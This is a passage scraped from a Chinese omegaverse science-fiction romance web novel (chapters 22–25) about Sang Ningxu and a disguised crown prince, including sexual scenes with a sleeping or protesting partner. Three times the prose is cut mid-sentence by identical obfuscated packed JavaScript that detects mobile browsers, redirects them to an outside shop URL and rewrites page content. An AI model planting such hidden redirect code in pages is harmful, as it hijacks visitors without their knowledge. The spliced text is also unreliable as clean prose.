最重要的是,她还从来没给人扎过针! 但眼下的情况却由不得她再纠结,男人就快要难受到昏厥过去,此时正难耐地在床上蹭来蹭去。 不行不行,人命关天,她好不容易救了个人,总不能因为一个发情期就把他丢在一边不管吧! 况且又不是让她来标记,只是捅一针而已,没那么可怕! 桑宁叙,你可以的,你可以的! 不断给自己下心里暗示的女孩此刻也慌得满头大汗,甚至跟躺在床上的那人相比起来也不逞多让。 扎吧,扎吧,扎! 鼓起勇气,桑宁叙颤巍巍地将针头推入男人的大臂,在他痛苦的闷哼中,手抖到像个八十多岁老奶的女孩见状立刻把管中的液体一股脑地注射进去,然后利落地拔掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885692|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针管。 “呼哧……呼……” 林深的皮肤依然又红又烫,男人躺在床上难受地缩成一团,艰难地喘气。 桑宁叙手里抓着用完的抑制剂,站在一旁心跳个不停,过了一会儿,她才发现这人已经肉眼可见的好转起来。 小心翼翼摸了摸他额头,确认不再发热后,桑宁叙才松了一口气,她赶紧把针头包好连带着试剂一起扔进垃圾箱,洗干净手后又匆匆忙忙地拿了块毛巾回到林深身边。 已经昏睡过去的男人浑身是汗,宽大的衬衫后背早已被汗水浸湿,额前长长的发丝正一缕一缕的黏在耳边和额头上,身体的温度虽然已经回归正常,但脸颊和嘴唇却依然红的过分。 倒还真有点像睡美人…… 桑宁叙耐心地帮他擦去身体裸露部位的汗水后,正纠结着要不要给这人换件衣服免得到时候感冒时,突然被小臂传来的一阵拉力朝下倒去,随后便四仰八叉地趴在男人身上。 “抱抱,暖和。” “好冷……” 正努力挣扎的桑宁叙还在疑惑这个Omega力气怎么这么大时,却突然听见男人小声地呢喃。 冷也不能抱她啊,松开松开! md,松不开。 挣脱了半天结果自己还是纹丝不动,被男人紧紧抱在怀里的桑宁叙决定暂时摆烂一会。 搞不动了搞不动,刚才光打个针都快把她弄个半死。 反正这人是Omega,打完抑制剂又在昏迷中,肯定也不会对她做什么。 容她先缓缓。 然而缓了一会的结果就是,被这人抱着实在太舒服,虽然是个Omega,但男人的胸膛却极其宽阔,只隔着衣服贴在一起都能感受出其姣好的身材。 腹部没有一丝赘肉,甚至比她想得还要坚硬。结实有力的胳膊紧紧环绕着她,桑宁叙没忍住戳了戳那块因为用力而微微鼓起的、形状漂亮的肌肉。 哇塞,手感不错哎! 不过他一个Omega,未免也把自己练得有点太好了吧! 但也是,一个天天在外到处流浪的Omega,确实应该拥有一身健壮紧实的肌肉,不论是伪装成Alpha也好,又或者是赶走讨厌的骚扰者也罢,总归是保护自己的手段。 这么一闹,本来还对男人性别有所怀疑的桑宁叙稍微放下心来。 她曾经在书上看过,Alpha发情期的时候可不想Omega这么无害,他们只会不管不顾地随便揪一个还算顺眼的倒霉蛋,然后不管三七二十一,先把人上了标记完再说。 根据刚才林深的反应和行为,都和她想象中Omega发情时的举动差不多。 因此,应该可以确定他的确是个少见的男性Omega了。 耐心等待了一会儿,陷入昏睡中的男人渐渐放松了对她的禁锢,感觉到原本困住自己的双臂不再像最初那样紧绷后,桑宁叙试着在不弄醒他的前提下从身上艰难地爬起,好在这次他异常配合。 待自己终于离开那具身体后,微微喘息的桑宁叙靠在墙边头晕眼花的缓了一阵后,才丢下手中的毛巾,再度上前帮男人盖好被子。 一切收拾妥当,室内也陷入黑暗,只剩站在通讯设备前的那倒人影在显示屏惨白光亮的映照下,似如鬼魅。 桑宁叙抿着唇面色凝重地望着屏幕上的那个图标,不知在想些什么。 由于过长时间的等待,从屏幕里散发的幽光渐渐变淡,在女孩的凝视中慢慢灰暗下去。 随后,一抹若有若无地叹息不知从哪里传来,散进暗黑的夜色后立即被溶解得一干二净,了无痕迹。 再等等。 再等等。 等一等,就快了。 23. 第 23 章 自从被关押后,已经很久没有做过的梦的桑宁叙今夜又难得入梦。 仍旧是悄然无声的黑暗,但却完全不如前两次来得那般恐怖骇人,相反,明明眼睛怎么也睁不开,耳边还时不时传来如野兽般的低吼,可她却没有感到丝毫惧怕。 “……宁叙……宁叙。” 是谁,谁在叫她。 “宝宝,张开……” 什么? “乖,别怕,放松……” 他在说什么? “会很舒服的……” 舒服……吗? 在那个遥远低沉嗓音徐徐不缓地诱哄声中,桑宁叙似乎感受到了什么,她难耐地伸长脖颈,后面的某处此时正散发着让她极不舒服的痒意。 好难受,好想挠…… 顺着自己心意肆意妄为的女孩干脆一把撕掉那个一直被好好保护着的腺体,被长时间捂住的皮肤立刻被流动在周围的冰冷空气包裹,她舒服地叹喂着,只觉得痒意终于被缓解。 然而好景不长,很快,没有得到安抚的信息素就像长出了自我意识一般,吵吵闹闹地寻找着什么,腺体难耐的膨胀感甚至搅得她整个身体都不舒服极了,仿佛有无数贪得无厌的蚂蚁顺着骨脊不断啃食。 桑宁叙在被子中烦躁地翻来覆去无数遍,白皙漂亮的小腿也在乱踢中掀开了被子温暖的一角,顿时,干冷的空气瞬间挤挤攘攘地贴在敏感的皮肤上。 冷意短暂驱逐了滚烫血液中的痒麻,女孩满足地喘了口气,终于能安稳入睡了。 可惜,思维和身体完全是两个分开的部分,即使大脑诉说着困倦和疲乏,但身体却依然精神百倍地等待着什么。 好烦,到底是什么啊? 桑宁叙暴躁地抓了两下后颈,尖锐的指甲划过敏感的腺体,却因为没有收力随即带来阵阵痛意,但好似稍稍缓解了那部分来自于身体内部无法诉说的瘙痒。 “别乱抓。” 尝到一丝甜头的女孩又痛又爽,她当即忍不住继续更加大力的动作,却被不知是谁的双手阻止了行动。 宽厚的手掌,细长却有力的五指。 被攥在手心的指头不安地摩挲着男人的掌心,像是发现了什么好玩的玩具一般,来来回回地蹭着最中心那又硬又软的一小块皮肤。 “嘶……小坏蛋。” 放纵女孩的行为却被她闹得浑身都在战栗的男人不由自主地吸了口冷气,随即紧紧抓住女孩的双手,十指相扣,抬起胳膊把人死死钉在了床上。 “难受……呜……” 最敏感的地方此刻都已泛滥成灾,信息素疯狂地在空气中涌动,却迟迟得不到安抚,桑宁叙不停地磨蹭着双腿,但却只是隔靴搔痒,越动反倒让她觉得痒意更浓,只恨不得挣脱被禁锢的双手,好去自己安抚一番。 趴在她身上的那人此时已经全然兽化,猩红地双眸在夜色中一动不动地盯着她,贪婪地欣赏着这极为少见的美景。 “……穆沉凛……” 趁女孩勉强不再乱动时,刚撕掉阻隔贴的男人就听见了从她嘴里发出的,细弱无声地呻吟。 她在叫他。 她在想他。 意识到这一事实的男人彻底褪去了刚才的优雅和冷静,又变为竖瞳的双眼此刻在夜色中散发着微弱的光芒,他身体上的肌肉随着信息素的散发一点一点绷紧,冰湖在冰醋酸冒头的第一时间就缠绕了上去,终于久违契合在一起的信息素在房间内疯狂摇摆,于此同时,蓄势待发的男人也来到了女孩的颈边,正像个变态一样着迷地闻着那个脆弱的器官。 好可爱,好可怜。 腺体被凶兽虎视眈眈地盯着,消失的视觉和嗅觉让其他三感顿时变得更加敏锐,在某人疯狂炙热的注视下,睡梦中的桑宁叙只觉得自己被什么可怕强大的怪物盯上了一般,原本乖乖不动的身体此时也开始乱踢乱动,只恨不得立刻逃开这骇人的视线。 “乖,不怕……” 男人因为忍受欲望而极端粗哑的嗓音在耳边缓缓响起,他无奈地叹息一声后,再次用腿钳住女孩不断扭动的身体,随即在她耳边轻声抚慰。 “马上就好。” 话落,原本已经滚烫到即将爆开的腺体被含住。 桑宁叙不再乱动,后颈被微凉的唇细密地吻过,高热也随之渐渐散去,腺体在降温缓解中变得舒服起来。 正当她歪着脑袋闭着双眼躺在床上小声哼唧时,男人有力的臂膀也将她柔软的身躯搂入怀中。 快乐的时光总是很短暂。 当极致的满足席卷全身后,几乎要被男人揉进身体的女孩疲惫地展开紧皱的眉头,含着一抹惬意又轻松的微笑正准备睡去时,却突然听见耳边传来某人极度压抑的气音:“宝贝,我是谁?说完才许睡。” 侧脸白嫩透红的软肉被犬齿叼住轻轻摩擦,困倦的女孩被他闹得实在是无法安心入睡,于是只得头脑混沌地反应了好一阵,才终于理解他的问题。 谁能咬她,谁能标记她? 不是只有那人? 随着她哼哼唧唧不耐烦地说出那三个字后,立即被得到答案满意地不得了的男人又缠着亲亲抱抱了许久,最后在他轻柔温顺地诱哄声中,再也忍不住困意的桑宁叙彻底倒头睡去。 几点了?! 第二天中午,终于从梦中清醒的女孩一骨碌从床上爬起,双眼失神地盯着面前的空气发呆。 她昨晚,好像梦见和穆沉凛…… 疯了吧,疯了吧! 再缺男人也不能梦到和亡夫□□发情吧! 腺体上的阻隔贴依然完好无损地待在那里,身体也没有传来换好后熟悉地酸痛感,看着被子里自己衣衫整齐的睡衣,桑宁叙松了口气。 原来真的,只是梦。 女孩有些恍惚地眨了眨漂亮的双眼,心底却涌上一股说不清道不明的失落情绪。 她好像,真的想他了。 穆沉凛,太子殿下,你到底…… 情绪低沉了一会儿后,桑宁叙习惯性地朝旁边那张床看了一眼,然而,床上的被子叠得整整齐齐,本该躺在床上休息的人却不知踪迹。 这人怎么这么爱乱跑。 又以为林深去飞船上找东西的桑宁叙并没有觉得意外,她托着下巴精神萎靡地在床上呆坐了好一会儿后,等肚子传来咕咕咕的叫声时,才意识到现在已到饭点。 在床上捂着脸墨迹了半晌,桑宁叙强迫自己忘记昨夜那个糜烂的梦境,随即下床清洗身体。 她像往常一样撕掉已经用了一整天的阻隔贴,可就在她对着镜子准备贴上一片新的时,却发现那个向来白的发光的器官上留着一抹淡红。 这……是过敏吗? 桑宁叙皱着眉头对着那处来来回回摸了半天,可它既不发痒也没有长疙瘩,和其他白嫩光滑的皮肤一样,只是多了点色彩。 算了,也许只是蹭到了哪里。 多看了几眼后,桑宁叙老老实实把腺体覆盖好,又清理完浴室的水渍,才换好衣服走了出来。 距离她醒来已经过了一个多小时左右,可林深却依然没有回来。桑宁叙吞下一管营养液后,不由自主地有些担心起来。 她打开门,门口却并不像昨天那样堆满了杂物,与此同时,远处的飞行器上似乎也看不出有人存在的迹象。 什么情况,难道林深已经被军队的人发现并带走了吗? 桑宁叙站在门口犹豫了一会儿还是没有踏出门外,她决定关起门来再等一等,如果今晚林深都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895945|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没回来得话…… 那就明天再出去找找好了。 说实话,她其实并不是非常担心这个Omega的安全,毕竟是一个从小就开始流浪,甚至还跟星际海盗打过很长时间交道的男人,野外生存能力绝对比她这个手无缚鸡之力,在温室中娇养大的脆弱花骨朵厉害,再怎么说也应该不会轻易失踪。 先等等吧。 回到室内锁好门后,无所事事的桑宁叙又打开了那唯一一个无聊的新闻频道,准备继续窝在床上了解一下帝国的最新情况。 “殿下,暂时没有检测到任何虫族的动向。” MS-8310,在星球的另一端,和桑宁叙位置正好隔了半个星球的位置上坐落着一个中型的军事驻扎基地。 基地最高层的会议室中,正坐着三位熟悉的男人。 “贺书愉那边呢?” “依然照旧,没有发现其他行动。” “哼,那叛徒可真有耐心,我还以为殿下死后他会迫不及待地占领帝星,好发展他那所谓的‘大计’。”江止露出一抹鄙夷地目光,恶狠狠地对着屏幕上调取的监控磨了磨后槽牙说着。 “做好准备,前哨派人盯紧,一有任何消息立即通知我。” “是,殿下!” 两道利落干脆的声音在会议室一同响起,他们对着坐在正中心位置的男人敬了个军礼后,等待着男人下一步的通知。 此时,那个正被桑宁叙担忧安危的男人,现下正面无表情地看着终端内收集到的各类最新资料,动作熟练地截取下他认为重要的信息。 元宿和江止坐在一边看着这个和殿下长得没有一丁点相似之处的男人,两人有些不习惯地对视了一眼。 “殿下怎么弄了这么一个小奶狗形象?” 没法出声的江副队长对着元宿拼命挤眉弄眼,却因为过于用力,眼睛都快抽搐了。 元宿一言难尽地看着在其他人面前强势嚣张的男人,现下一幅明显脑子不好的蠢样,不忍直视地移开目光。 随即,他也忍不住望了一眼那位正严肃认真阅读报告的男人,心里划过一丝怪异。 其实他也不知道殿下为什么选择一个跟他平时样貌完全相反的面容,他怎么看这张脸都跟那些个王公贵族家包养的小男O一模一样,现在这个小白脸还一本正经地坐在高位上审阅着军事机密,违和感就更强了。 江止还在身边一刻不停地戳他,元宿实在懒得理他,白了一眼那人摇摇头后,他不自觉又看了那个陌生的殿下一眼,随即在心里胡乱猜测。 难道,其实太子妃喜欢的是这款? 夜幕降临,桑宁叙裹着被子坐在床角,愣愣地盯着门口。 一天了,林深还没回来。 女孩顿了半晌,还是忍不住从床上下来把门打开了一个小缝。 外面本就漆黑无比,在浓雾的遮掩中更是什么都看不见。没有风声,没有水声,就连其他生命体质活动的声音也一概没有,周围彻底陷入一片死寂之中。 她不敢出去。 虽然这个星球并没有可怕的外星物种,但…… 锁好门后,桑宁叙一步一步在通讯设备前站定,她注视着屏幕上的第二个图标像在思考着什么。 最后,女孩葱白的指尖还是略过那处,摁在了左边的位置。 再发一次求助信号好了,拜托,希望这次真的会有人来。 做完一切后,桑宁叙顺手打开那已经看了无数遍、早已没有新意的新闻。 就着枯燥无趣的背景音乐,她盯着属于林深的那张床,片刻后做了一个自己都不太能理解的举动。 她钻进了林深的被子中。 喂。 可不可以请你,快点回来呢…… 24. [锁] [此章节已锁] “早上好,宁叙。” 唔,谁在叫她? 桑宁叙从温暖的被窝里探出头来,随即就发现这张床上不止自己一人。 男人带着浓重笑意的面孔顿时放大出现在眼前,他轻轻刮了刮女孩挺翘的鼻头,对着还迷糊的她抵了抵额头。 脑门上传来的热意终于让她清醒了几分,待她终于睁大双眼,也立刻被他们二人亲密的姿势吓了一跳。 不是不是,为什么他们靠得这么近,还睡在同一条被子里! 连滚带爬地从床上下来后,桑宁叙扶着额头满脸惊恐地看着那个□□半敞,头发凌乱的男人一点点从原本的位置挪了过来。 “你等等!” 桑宁叙厉声制止他的动作,好在男人倒是乖乖停止了移动,但却依然睁着水灵灵的双眼柔情似水地望着她。 怎么睡了一觉,这人就魔怔了! “你昨天去哪了?” 她背过手去狠狠掐了自己一把,尖锐的疼痛从胳膊传递到脑神经后,桑宁叙才觉得自己正常了一点。 “我昨天一直在飞船里啊。”林深不以为意地答道。 “一整天都在?” “对啊,怎么了吗?” 原来只是在飞船里。 可是他在飞船里待那么久做什么? 还没等桑宁叙开口询问,男人就像提前知晓了她的疑问,立即笑盈盈地接过话题:“我不是易感期不舒服嘛,抑制剂虽然有效,但不论怎样最好还是要发泄出来,我怕影响你,所以就去飞船里待了一段时间。” “那现在……” “嗯嗯。”接到女孩信号的林深又恢复了活力四射的模样,他眨了眨水光粼粼眼睛肯定道:“现在都好啦!” 吓死她了,她还以为这人失踪,又或是被军方抓走了。 “咦,你是在担心我吗?” “我……” 不等她拒绝,激动的Omega就已经飞扑过来,好在他刻意收着力,后面又有堵墙,不然桑宁叙非得被他的冲力撞倒在地。 “宁叙,你真好,我好喜欢你。” 女孩被迫承受着这个身形高大男人的撒娇。 他好腻歪啊…… 不知是不是巧合,男人温热的鼻息撒在她脖子侧边的皮肤上,只要再偏一点,腺体就会暴露在他眼前。 “好好好,你先松手站好。” “不要不要,宁叙的味道好好闻。” 她有味道? 看着男人像狗一样在脖子那处黏黏糊糊地磨蹭着,桑宁叙用力推了推他的脑袋:“什么味道?” “嗯……是洗发水的海盐味。”林深含含糊糊地答道。 也对,她昨晚确实是洗了澡,原来只是日用品自带的味道。 被说服的桑宁叙不满地揪了揪男人微红的耳垂,示意他闹够了就赶紧放手。 “宁叙,我可不可以晚上和你一起睡啊?” 好不容易摆脱了缠人的小Omega后,正在喝水的桑宁叙听见林深的询问差点一口水喷到他脸上。 “咳咳……你说什么?!” “就是,和你一起睡的话,我比较有安全感。”林深像犯了错的小孩一样手足无措地解释道。 “不行,我是Alpha,你是Omega,我们怎么能睡在一起,AO授受不亲不知道吗?” “可是,可是……” 林深撇着嘴不满地看了她一眼,在女孩暴躁的目光中,像个受了气的小媳妇委屈巴巴道:“可是我才是Omega,我都不介意。” “而且这个地方这么黑,这么可怕,平时连个人影都没有,我……我害怕……” 林深说着又看了一眼女孩死死杵着的眉头,再接再厉道:“昨天我一个人待在飞船里总觉得不对劲,半夜好像还听见了几下奇怪的震翅声,也不知道这里是不是有什么奇怪的生物……” 震翅? 难道是虫族? 桑宁叙只觉得自己眉心皱得更紧了一些,她打断还在滔滔不绝试图说服自己的林深,把话题转移到了虫族身上。 “你昨晚真的听见了?”桑宁叙万分严肃地盯着他问。 “可能吧,但也许只是我在做梦,也可能因为害怕臆想出来的……”林深在女孩快要吃人的眼神中缩了缩脖子,攥着衣角小声说着。 如果真是虫族,昨晚应该不会这么太平。 又或者,虫族只是路过此处,实则目标是…… 难道帝星要被攻击了吗? 一瞬间,各种杂乱的念头充斥在大脑中,桑宁叙脸色难看地站在原地,慌乱、恐惧、忧愁、无奈,所有不同的情绪皆翻滚而来,她只觉得自己几乎要站不稳。 新闻,对了,看新闻! 一把推开林深冲向通讯器的女孩飞速打开视频,却意外发现属于今日的报道迟迟没有出现。 完蛋,完蛋,帝国不会真的玩完了吧! 桑宁叙在房间里急得团团转,站在一旁的林深见状勾了勾嘴角。 “怎么了,宁叙?” 男人径直朝她走了过来,趁着女孩慌乱间,牵起她的手,把人带到了床上。 “怎么了,出什么事了?” 林深并没有随她坐在一起,男人紧紧握住她的手,同时缓慢地蹲下身体跪在了她面前。 像条祈求主人垂爱的小狗。 望着男人澄澈安宁的双眸,桑宁叙刚才还慌乱无比的内心像是突然受到了安抚一般,渐渐淡定下来。 不知为何,明明这个人跟他长得一点也不像,性格也不像,但是…… 那张熟悉的面孔渐渐和眼前这张新鲜的面孔逐渐重叠。 最后一次见面时,穆沉凛也曾做过相同的动作。 只是当时的她却没意料到,那竟是两人最后一次见面。 一滴冰凉的液体落在林深的手腕处,男人随之望去,立即,有更多透明的液体自上落下,滴在了二人相交的皮肤上。 他定了定心神,朝上方缓慢抬头,便看见了眼圈通红,怔怔盯着他面孔无言哭泣的女孩。 她不是在看他,却又在看他。 怎么哭了? 林深在心里默默叹了口气,随即起身把人抱在了怀里。 这次她没再抗拒,老老实实地任由男人把自己放在腿上,然后将自己的头抵在他的胸口处,倾听他那沉稳有力的心跳。 与此同时,林深的下巴抵在女孩的头顶,一只手轻抚她的发丝,一只手柔柔拍打着脊背,半晌后才听不出情绪地开口:“这么难过?” 不问还好,问完反而哭得更大声的桑宁叙在男人无奈地道歉轻哄声中使劲抽噎着,流不尽的眼泪早已浸湿了他胸口前的那片布料。 听着女孩难过的哭泣声,林深一边哄她,一边在心里纳闷地反问自己。 他是不是做错了? 即使知道在自己缜密的安排下,她顶多也就是被吓一吓,精神受点打击,但现在看来,似乎她比自己想象中的还要难过。 这是不是意味着,她也有一点喜欢他呢? “呜呜……” 女孩的抽泣声逐渐低落,但她依然把头埋在男人的胸口不肯出来。 林深摸了摸她毛绒绒的脑袋后,趁着女孩哭得太久还在轻微缺氧的眩晕中没什么反应时,不容抗拒地捏着她的下巴抬起头,用拇指上的薄茧为她擦干泪痕,然后闭上眼睛亲了亲她的眼皮。 脆弱如蝴蝶羽翼般的眼皮在他的触碰下可怜兮兮地抖了抖,林深被她的反应逗笑,又换了另一只眼照样吻了上去。 等眼睛上说不清道不明的触感离去,桑宁叙傻乎乎地睁大眼睛,像是在质问男人为什么这样做,却又因为眼眶中半落不落的泪水而显得娇气可爱。 林深看着她这幅模样闭了闭眼,最终还是没忍住吻上了那张因为惊讶而微张的小口。 开始是抵触,在男人的吻即将到来前,桑宁叙就已经闭紧牙关,绝不让他占到一点便宜。 然而林深却并不着急,他看着此时正皱成一个包子脸的女孩,压下眼角的笑意,把唇贴在她的唇上,随即不紧不慢地发出响亮的“啾啾”声。 他怎么这么……不要脸! 只觉得嘴唇触感熟悉的桑宁叙迷迷糊糊地在脑中乱想着,突然,她腰间痒肉的位置被人猝不及防地大力捏了一把,由一点快速扩散开来的痒麻让她忍不住大叫出声,同时,一条不属于自己的东西也伸了进来。 好软。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903555|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 被男人细细密密吻着的桑宁叙再也想不起任何事情,她只觉得这人的味道熟悉极了。 “穆……” “……我在。” 以为穆沉凛回来的女孩在听到那让她熟悉的声音时,倒是突然着急了起来。 难得这么主动。 忍着笑意的林深配合着她的动作,趴在男人温暖胸膛里的女孩满足地吐出一口气。 好想他。 想让他只能属于自己,想让他满身都只有她的痕迹,想让他浑身染上自己气味,想…… 还想要什么呢? 咦,这是什么? 突然间,女孩停下动作,她面带疑惑地望了他一会儿,似乎是在努力思考。 就在她正想一探究竟时,却被男人制止了动作。 “你承受不住的……” 由于信息素被强制压在身体中得不到释放和解脱,男人强忍着渴望面色狰狞地开口。 “你怎么知道我受不了!” 桑宁叙此时像个要不到糖吃的小姑娘生气地大声指责,丝毫没意识到底下这位已经忍到快要变态。 “你确定?”男人目光幽深地发问。 “我当然确定……” 话只说了一半,二人的位置再度交换。 “来吧。” 一阵窸窸窣窣的摩擦声后,很快,她就如愿以偿。 “怎么样都可以吗?”女孩吞了吞口水紧张地提问。 “……嗯,对……” 得到回应的桑宁叙跃跃欲试起来,她用力攥了一下手指,随后难耐地舔了舔嘴角,只觉得喉咙仿佛无比干渴。 林深勉强撑起身体,任由她胡作非为。 看看看,谁说她承受不了!桑宁叙只觉得自己得意傲慢极了。 可惜很快,掌心中的火钳几乎要烧穿皮肤。 没意思,不舒服。 喜新厌旧没耐心的女孩顿时丢下手中的东西,开始专心致志地观赏起各种漂亮痕迹。 “宁叙……继续好不好。” 男人哪里受得了这般冷落,他双眼猩红地低下头用头发不停蹭着她哀求道。 桑宁叙欣赏了一会儿他这极为少见的姿态,在男人即将爆发掌握主动权时,突然又重新掌控住局面。 呼吸声越来越粗重,男人一边低三下四的求她,一边又霸道地缠上她的腺体。 “你放开!” 被男人过分行为吓到的桑宁叙挣扎着反抗,试图用力掀翻他逃离这个可怕的地方,可惜林深才不给她这个机会。 力量悬殊的两人很快就分出胜负,在桑宁叙不满地抗议中,林深噙着一抹恶劣的笑意,全方面压制她后,毫不犹豫再次封上她柔软的红唇。 被堵得说不出话只能用嗓子呜哇乱哼的女孩很快就在他强悍地攻城略池中失去力气,仰起头来被迫接受他。 “喜欢吗?” 男人还不死心地在耳边不停询问,桑宁叙此时早已手脚无力,为了快点结束这场战斗,她不得不红着脸点头。 “我是谁?” “穆……沉凛。” “穆沉凛是谁?” 女孩睁着水汽腾腾的双眸疑惑地望着他,像是不太明白这人为什么要这么问。 “是你……”她随便乱答。 “不对,穆沉凛是谁?” “想好了再回答。” 男人似威胁般咬了她一口后,才语气不善地开口。 “是……” 是谁? 是太子殿下,是帝国的未来,是她的丈夫,也是…… “是什么?” 头顶传来男人的催促声,他的身体越绷越紧,满身的肌肉都在发力,但强大的自控力允许他短暂地克制等待。 他想要听到那个期望中的答案。 “是我喜欢的人……呀!” 桑宁叙刚说了一半就被湿凉的液体打断。 “乖宝贝。” 男人一边继续吻着她的侧脸一边餍足地哄她。 “我们很快就能……” 就能什么? 在昏过去前,桑宁叙烦躁地在心里大叫。 又是说话说半句,这人好讨厌! 25. 第 25 章 滴答,滴答。 极度清浅的淡绿液体在试管中晃动,两根苍白到不正常的手指则轻轻弹了弹瓶身。 贺书愉靠在瓶口前闻了闻,却仍像之前几次那样什么味道都没有嗅出。 有点意思。 他眯着双眼,对着冷冽深蓝的灯光举起手中的玻璃器皿仔细观察,随后把东西密封好丢进了口袋。 距离穆沉凛死亡已经过去了一个月,帝国上下似乎过于沉浸在失去继承人的伤痛中,每个人都看起来没精打采。 贺书愉趁着工作间隙特意暗中观察太子殿下亲卫队的表现,发现他们一个个也都垂头丧气,丝毫没有之前斗志昂扬的气势。 就快要到最好的时机了。 多日的等待中,男人也慢慢品味出了那位迟迟不肯出击的意思。 帝国军队的总指挥官才离世,若是虫族立即来犯,那么这群怀抱着激烈愤恨的战士们只会表现出更强更猛的攻击力,势必为殿下报仇雪恨。就算虫族最终取得胜利,也必然少不了一大波惨烈的损失。 可若是等到战士们内心的愤怒随着时间的流逝平息,当他们真正意识到帝国已然失去最后的绝对力量,那么很快,随之而来的恐惧和心理压力也会极大削弱战力,这样,虫族便可以用最少的损失占领帝星,夺得它们想要的一切。 当贺书愉终于琢磨出这一点时,他只觉得自己对此物种的喜爱彻底变为痴狂,同时,巨大的激动和狂喜则席卷全身。 原来这群东西比他想象中还要有智慧。 这也意味着,这场战争最后的赢家也必然只属于他们。 因为研究已经几天没有合眼休息过的男人在这间充斥着各种骇人标本的实验室中扯了扯嘴角,血红的嘴唇向上咧出一个极为诡异的笑容,布满血丝的双眼呆滞地看着桌上的瓶瓶罐罐,很久之后,才像人偶一般不协调地动了动眼球。 不知道怎么回事,和虫族的精神连接越久,他脑内疯狂的低语和混乱的思绪就逐渐变多,甚至无时无刻都能听见那群东西进食的吸吮和咀嚼声,潮湿又黏腻的轰鸣声在耳边此起彼伏,就连睡梦中也感觉自己时刻被一群一群密密麻麻的黑点所包围,恶意可怖的凝视和从骨子里传来的刮擦声让他几近疯狂,似乎下一秒就会被毫不留情地开膛破肚,无法抗拒地成为它们口中的食物。 腺体一阵一阵地涌起热潮,同时,一股难以言喻地恶臭和腐蚀性气息刺破阻隔贴在空中一圈一圈地扩散,被气味影响的男人终于回过神来,他动作僵硬地扭了扭脖子,随后起身打开排气扇后为自己重新换了一片强力阻隔贴。 决定暂时休息一会儿的贺书愉顺势走到窗边,他目光邪恶地扫荡着窗外美好的阳光和风景,看着楼下匆匆来往的人群,男人舔了舔干瘪的下唇,渐渐向阴影处退去。 好好享受着最后的时光吧。 很快,帝星将彻底陷入永无天际的黑暗地狱。 而那时,在虫潮的肆意狂欢中,他将是带领帝星开启新纪元的唯一帝王。 “殿下,已检测到前哨边缘的异动。” “通知各部门做好准备。” “是!” 再次从飞船回来,已经换上军装的林深注视着熟睡中的女孩,走上前为她掖了掖被角。 那日之后,不知她是不是猜到了什么,突然开始和他变得亲近起来。 桑宁叙没再向基地发出过任何求助讯号,也不再询问男人何时离去,她不问他自然不会主动提起,于是,两人便在这无言的默契中同居起来。 待在荒星不被打扰也无事可做的二人没日没夜的腻歪在一起,倒像是真正谈起了恋爱。 比起在星舰时女孩面对他的不自在和拘谨,通过这段时间变换身份的相处,她也渐渐放松起来,不再像过去那样一口一个殿下,每次见他都恨不得站的两米远,总是问一句才答一句,甚至从不主动开口交流。这些天来她不仅缠着男人聊天、讲故事、了解帝国历史,在他的纵容下居然开始作威作福的乱发脾气,性格也变得鲜活开朗起来。 他开始一点一点了解她,也逐渐明白她为什么对被咬脖子标记这件事抵触。 在二人无话不谈的日夜中,男人偶然也会被她天马行空的胡言乱语所吸引。 比如,如果他们生活在一个没有腺体和信息素的世界,人们不靠信息素的匹配度来相爱,而只是单纯凭借人与人之间的吸引和喜欢才交往,没有永久标记,没有谁离不开谁就会死亡,每个人都是独立的个体,只为自己的生命做主。 但那也意味着更高概率的背叛和失望,没有约束下随性而为的自由也代表着难以控制和管理。 命定之番不是人人都能拥有,很多人终其一生也无法遇见那个和自己完全匹配的对象。 在帝国,结婚就意味着夫妻二人必须永久标记,是需要标记后在官方系统进行登记录入,同时这也意味着,标记后的AO也绝不可能有侵犯其他人的可能,更别提离婚。 信息素的高匹配度不仅意味着生理匹配,更代表着精神世界的高度匹配。 因此,在双重匹配的保障下,永久标记后的二人对彼此的爱意和依赖只会有增无减。 当穆沉凛将人贴在怀中,一点点悉心为她普及和解释AO匹配的真相后,若有所思的女孩目光复杂地盯着他看了许久。 饶是见惯了大场面,被再多人驻足观赏时也能像块石头脸不红心不跳的太子殿下少见地紧张起来,在心脏震耳欲聋地咚咚直跳中,红着耳朵用大掌盖上了她毫不遮掩的视线,任由女孩卷翘的睫毛蹭过他的手心,像挠痒痒般让他浑身发痒。 和她在一起的每一天都让他觉得喜不自禁,只想把人揣在怀里永不放手,即使没有信息素的干扰,他也从来没有对她的喜欢减少半分,甚至随着时间的流逝愈发难以忍受起这个作假的身份。 每当她用那双明亮干净的双眼凝视着自己的面孔时,心中泛起密密麻麻的酸涩感甚至让他以为自己得了什么怪病。 